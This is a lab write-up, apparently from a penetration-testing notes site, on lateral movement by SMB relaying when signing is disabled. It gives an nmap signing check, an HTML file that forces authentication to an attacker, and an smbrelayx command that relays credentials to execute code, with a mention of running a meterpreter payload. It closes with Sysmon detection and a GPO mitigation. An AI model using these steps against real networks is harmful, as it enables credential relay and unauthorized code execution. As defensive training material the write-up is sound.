Lateral Movement via SMB Relaying

This lab looks at a lateral movement technique abusing SMB protocol if SMB signing is disabled.

SMB signing is a security mechanism that allows digitally signing SMB packets to enforce their authenticity and integrity - the client/server knows that the incoming SMB packets they are receiving are coming from a trusted source and that they have not been tampered with while in transit, preventing man in the middle type attacks.

If SMB signing is disabled, howeverm packets can be intercepted/modified and/or relayed to another system, which is what this lab is about.


  • - attacker running Kali linux and smb relaying tool

  • - victim1; their credentials will be relayed to victim2

  • - victim2; code runs on victim2 with victim1 credentials

Credentials from Victim1 must be for a local admin on Victim2 or be a member of Administrators/Domain Administrators group for this attack to work successfully.

Below is a simplified process of how this attack works: -authenticates to-> -relays to-> executes code with victim1( credentials


One of the ways to check if SMB signing is disabled on an endpoint:

nmap -p 445 -sS --script smb-security-mode.nse

Since we know that victim2@ has SMB signing disabled and is vulnerable to SMB relaying attack, let's create a simple HTML file that once opened will force the victim1 to authenticate to attacker's machine:

    <h1>holla good sir</h1>
    <img src="file://">

Any other forced authentication method will also work - follow below link for a list of techniques. the same time, let's fire up SMBRelayx tool that will listen for incoming SMB authentication requests and will relay them to victim2@ and will attempt to execute a command ipconfigon the end host:

attacker@kali -h -c "ipconfig"

Note that smbrelayx could be used with a -e switch that allows attacker to execute their payload file - say, a meterpreter executable.

Below is a gif showing the technique in action - on the left - victim1@ opening the malicious html we crafted earlier that forces it to attempt to authenticate to the attacker system (on the right). Once the authentication attempt comes in, it gets relayed to victim2@ and ipconfig gets executed:

A stop frame from the above gif that highlights that the code execution indeed happend on

Observations & Mitigation leaves a pretty good footprint for defenders in Microsoft-Windows-Sysmon/Operational - the parent image is services.exe and the commandline has juicy details - note though that the commandline arguments are subject to forgery:

In order to mitigate this type of attack, the best way to do it is by implementing GPOs if possible by setting the policy Microsoft network server: Digitally sign communications (always) to Enabled:

With the above change, trying to execute the same attack, we get Signature is REQUIRED errors message and lateral movement is prevented:

The same nmap scan we did earlier now also shows that the message signing is required:

nmap -p 445 -sS --script smb-security-mode


Last updated